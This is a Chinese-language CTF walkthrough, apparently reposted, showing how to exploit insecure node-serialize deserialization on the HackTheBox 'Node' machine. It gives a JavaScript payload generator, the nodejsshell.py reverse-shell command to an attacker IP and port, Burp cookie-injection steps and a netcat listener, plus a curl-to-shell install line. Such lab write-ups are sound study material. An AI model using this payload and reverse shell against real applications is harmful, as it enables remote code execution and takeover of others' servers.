内容简介：目标机- Hackthebox节点机(10.10.10.85:3000)攻击者机器- Kali linux需要的工具- nodejs, npm, [nodejs工具包]，node-serialize
演示环境
目标机- Hackthebox节点机(10.10.10.85:3000)
攻击者机器- Kali linux
需要的工具- nodejs, npm, [nodejs工具包]，node-serialize
关于反序列化攻击
不受信任的数据被传递到 unserialize() 函数，这导致我们可以绕过 JavaScript 对象的函数表达式 IIFE 来实现任意的代码执行。首先我们在 apt-get 命令下安装nodejs包，如下所示： apt-get install nodejs
在下一步中，您需要在CURL命令下安装 npm 程序（使用npm 进一步安装 node-serialize 包），如下所示： curl -L https://www.npmjs.com/install.sh | sh
安装和配置完Nodejs和Npm之后，还要安装 node-serialize 包，输入 “ npm install node-serialize ” ，如下所示：
我们已经与HacktheBox服务器连接，其服务器的IP为10.10.10.85:3000（运行Nodejs Express Framework，您可以使用Nmap Scanning进一步确认） 。
第一步，我们使用Burp Suite捕获上述Nodejs的GET请求，如下所示：
这个漏洞在于，它从HTTP请求中读取一个名为 profile 的 cookie 值，并对cookie值进行base64解码，并将其传递给 unserialize() 函数。所以攻击者可以构建恶意cookie值来利用这个漏洞。
git clone https://github.com/ajinabraham/Node.Js-Security-Course.git
“ ifconfig ”`` 找出IP ，然后运行以下命令： python nodejsshell.py 10.10.14.145 4443`
现在让我们使用以下javascript生成序列化的payload
代码如下
var y = {
rce : function() {}
}
var serialize = require(‘node-serialize’);
console.log(“Serialized: \n” + serialize.serialize(y));
用大括号 { eval（String.from ......... } ）添加上面的 payload 输出，如下所示：
将文件另存为 exploit.js 并使用node命令运行，该命令生成最终的序列化payload，如下所示： node exploit.js
现在回到BurpSuite，导航到Decoder选项卡，将上面的输出代码粘贴到Textarea中，解码之前，在函数体后添加IIFE方括号()，在这里，我们需要Base64的编码，然后在Cookie头值中使用编码的payload向web服务器发出请求。
然后使用Repeater发送相同的请求。
在Repeater选项中，您需要将cookie值替换为我们从上面步骤生成的base64编码值，然后单击 GO 按钮。
同时，确保你的netcat服务在相同的端口上监听，例如4443(它的反向 shell 负载端口是相同的) nc -lvp 4443 。
一旦你单击Go按钮，请求将命中到服务器，显示 200 OK 响应，并显示一条错误消息 “ 发生错误...无效的用户名类型 ” ，并立即在netcat终端中与该服务器连接，状态为 “ 已连接” “ 。
以上就是本文的全部内容，希望本文的内容对大家的学习或者工作能带来一定的帮助，也希望大家多多支持 码农网
猜你喜欢:
本站部分资源来源于网络，本站转载出于传递更多信息之目的，版权归原作者或者来源机构所有，如转载稿涉及版权问题，请联系我们。
深入浅出HTML5编程
弗里曼 (Eric Friiman)、罗布森 (Elisabdth Robson) / 东南大学出版社 / 2012-4 / 98.00元
《深入浅出HTML5编程(影印版)(英文)》就是你的特快车票，它可以带你学习如何使用今天的标准同时也会是明日的最佳实践来搭建Web应用。同时，你会了解HTML5的新API的基本知识，甚至你还会弄明白这些API是如何与你的网页进行交互，JaVaScript如何为它们提供动力，以及你如何使用它们来搭建能够打动你的老板并且吸引你的朋友的Web应用。一起来看看 《深入浅出HTML5编程》 这本书的介绍吧!
